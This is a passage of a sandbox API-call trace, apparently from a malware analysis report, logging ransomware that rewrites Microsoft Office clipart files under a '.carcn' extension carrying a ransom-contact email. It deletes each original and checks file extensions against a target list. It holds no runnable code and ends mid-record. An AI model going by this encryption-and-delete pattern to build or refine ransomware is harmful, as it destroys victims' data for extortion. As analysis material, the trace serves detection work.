[0286.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0286.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0286.135] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.135] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0286.136] GetLastError () returned 0x0 [0286.136] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x6852, lpOverlapped=0x0) returned 1 [0286.138] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x6860, lpOverlapped=0x0) returned 1 [0286.140] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.140] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.140] SetEndOfFile (hFile=0x548) returned 1 [0286.140] CloseHandle (hObject=0x548) returned 1 [0286.140] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.140] SetEndOfFile (hFile=0x544) returned 1 [0286.144] CloseHandle (hObject=0x544) returned 1 [0286.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0286.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0286.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0286.145] lstrlenW (lpString=".doc") returned 4 [0286.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.145] lstrlenW (lpString=".docx") returned 5 [0286.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.145] lstrlenW (lpString=".pdf") returned 4 [0286.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.145] lstrlenW (lpString=".xls") returned 4 [0286.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.146] lstrlenW (lpString=".xlsx") returned 5 [0286.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.146] lstrlenW (lpString=".ppt") returned 4 [0286.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0286.146] lstrlenW (lpString=".zip") returned 4 [0286.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.146] lstrlenW (lpString=".rar") returned 4 [0286.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.146] lstrlenW (lpString=".bz2") returned 4 [0286.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.146] lstrlenW (lpString=".7z") returned 3 [0286.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0286.146] lstrlenW (lpString=".dbf") returned 4 [0286.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0286.146] lstrlenW (lpString=".1cd") returned 4 [0286.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0286.146] lstrlenW (lpString=".jpg") returned 4 [0286.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0286.147] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2704) returned 1 [0286.147] CloseHandle (hObject=0x544) returned 1 [0286.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0286.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.359] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.359] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0286.360] GetLastError () returned 0x0 [0286.360] ReadFile (in: hFile=0x530, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xa90, lpOverlapped=0x0) returned 1 [0286.361] WriteFile (in: hFile=0x550, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0286.362] ReadFile (in: hFile=0x530, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.362] WriteFile (in: hFile=0x550, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.363] SetEndOfFile (hFile=0x550) returned 1 [0286.363] CloseHandle (hObject=0x550) returned 1 [0286.363] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.363] SetEndOfFile (hFile=0x530) returned 1 [0286.366] CloseHandle (hObject=0x530) returned 1 [0286.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0286.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0286.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0286.367] lstrlenW (lpString=".doc") returned 4 [0286.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.367] lstrlenW (lpString=".docx") returned 5 [0286.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.367] lstrlenW (lpString=".pdf") returned 4 [0286.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.368] lstrlenW (lpString=".xls") returned 4 [0286.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.368] lstrlenW (lpString=".xlsx") returned 5 [0286.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.368] lstrlenW (lpString=".ppt") returned 4 [0286.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0286.368] lstrlenW (lpString=".zip") returned 4 [0286.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.368] lstrlenW (lpString=".rar") returned 4 [0286.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.368] lstrlenW (lpString=".bz2") returned 4 [0286.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.368] lstrlenW (lpString=".7z") returned 3 [0286.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0286.368] lstrlenW (lpString=".dbf") returned 4 [0286.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0286.368] lstrlenW (lpString=".1cd") returned 4 [0286.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0286.368] lstrlenW (lpString=".jpg") returned 4 [0286.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.369] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=4970) returned 1 [0286.369] CloseHandle (hObject=0x530) returned 1 [0286.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0286.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.370] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.370] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0286.371] GetLastError () returned 0x0 [0286.371] ReadFile (in: hFile=0x530, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x136a, lpOverlapped=0x0) returned 1 [0286.374] WriteFile (in: hFile=0x550, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1370, lpOverlapped=0x0) returned 1 [0286.375] ReadFile (in: hFile=0x530, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.375] WriteFile (in: hFile=0x550, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.375] SetEndOfFile (hFile=0x550) returned 1 [0286.375] CloseHandle (hObject=0x550) returned 1 [0286.376] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.376] SetEndOfFile (hFile=0x530) returned 1 [0286.380] CloseHandle (hObject=0x530) returned 1 [0286.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0286.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0286.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0286.382] lstrlenW (lpString=".doc") returned 4 [0286.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.382] lstrlenW (lpString=".docx") returned 5 [0286.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.382] lstrlenW (lpString=".pdf") returned 4 [0286.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.382] lstrlenW (lpString=".xls") returned 4 [0286.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.382] lstrlenW (lpString=".xlsx") returned 5 [0286.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.382] lstrlenW (lpString=".ppt") returned 4 [0286.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0286.382] lstrlenW (lpString=".zip") returned 4 [0286.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.382] lstrlenW (lpString=".rar") returned 4 [0286.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.382] lstrlenW (lpString=".bz2") returned 4 [0286.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.383] lstrlenW (lpString=".7z") returned 3 [0286.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0286.383] lstrlenW (lpString=".dbf") returned 4 [0286.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0286.383] lstrlenW (lpString=".1cd") returned 4 [0286.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0286.383] lstrlenW (lpString=".jpg") returned 4 [0286.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.384] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3082) returned 1 [0286.384] CloseHandle (hObject=0x530) returned 1 [0286.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0286.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.384] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.385] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0286.385] GetLastError () returned 0x0 [0286.385] ReadFile (in: hFile=0x530, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xc0a, lpOverlapped=0x0) returned 1 [0286.389] WriteFile (in: hFile=0x550, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xc10, lpOverlapped=0x0) returned 1 [0286.390] ReadFile (in: hFile=0x530, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.390] WriteFile (in: hFile=0x550, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.390] SetEndOfFile (hFile=0x550) returned 1 [0286.390] CloseHandle (hObject=0x550) returned 1 [0286.390] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.390] SetEndOfFile (hFile=0x530) returned 1 [0286.393] CloseHandle (hObject=0x530) returned 1 [0286.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0286.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0286.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0286.395] lstrlenW (lpString=".doc") returned 4 [0286.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.395] lstrlenW (lpString=".docx") returned 5 [0286.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.395] lstrlenW (lpString=".pdf") returned 4 [0286.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.395] lstrlenW (lpString=".xls") returned 4 [0286.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.395] lstrlenW (lpString=".xlsx") returned 5 [0286.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.395] lstrlenW (lpString=".ppt") returned 4 [0286.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0286.395] lstrlenW (lpString=".zip") returned 4 [0286.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.395] lstrlenW (lpString=".rar") returned 4 [0286.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.396] lstrlenW (lpString=".bz2") returned 4 [0286.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.396] lstrlenW (lpString=".7z") returned 3 [0286.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0286.396] lstrlenW (lpString=".dbf") returned 4 [0286.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0286.396] lstrlenW (lpString=".1cd") returned 4 [0286.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0286.396] lstrlenW (lpString=".jpg") returned 4 [0286.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.397] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=23300) returned 1 [0286.397] CloseHandle (hObject=0x530) returned 1 [0286.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0286.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0286.398] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.398] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: 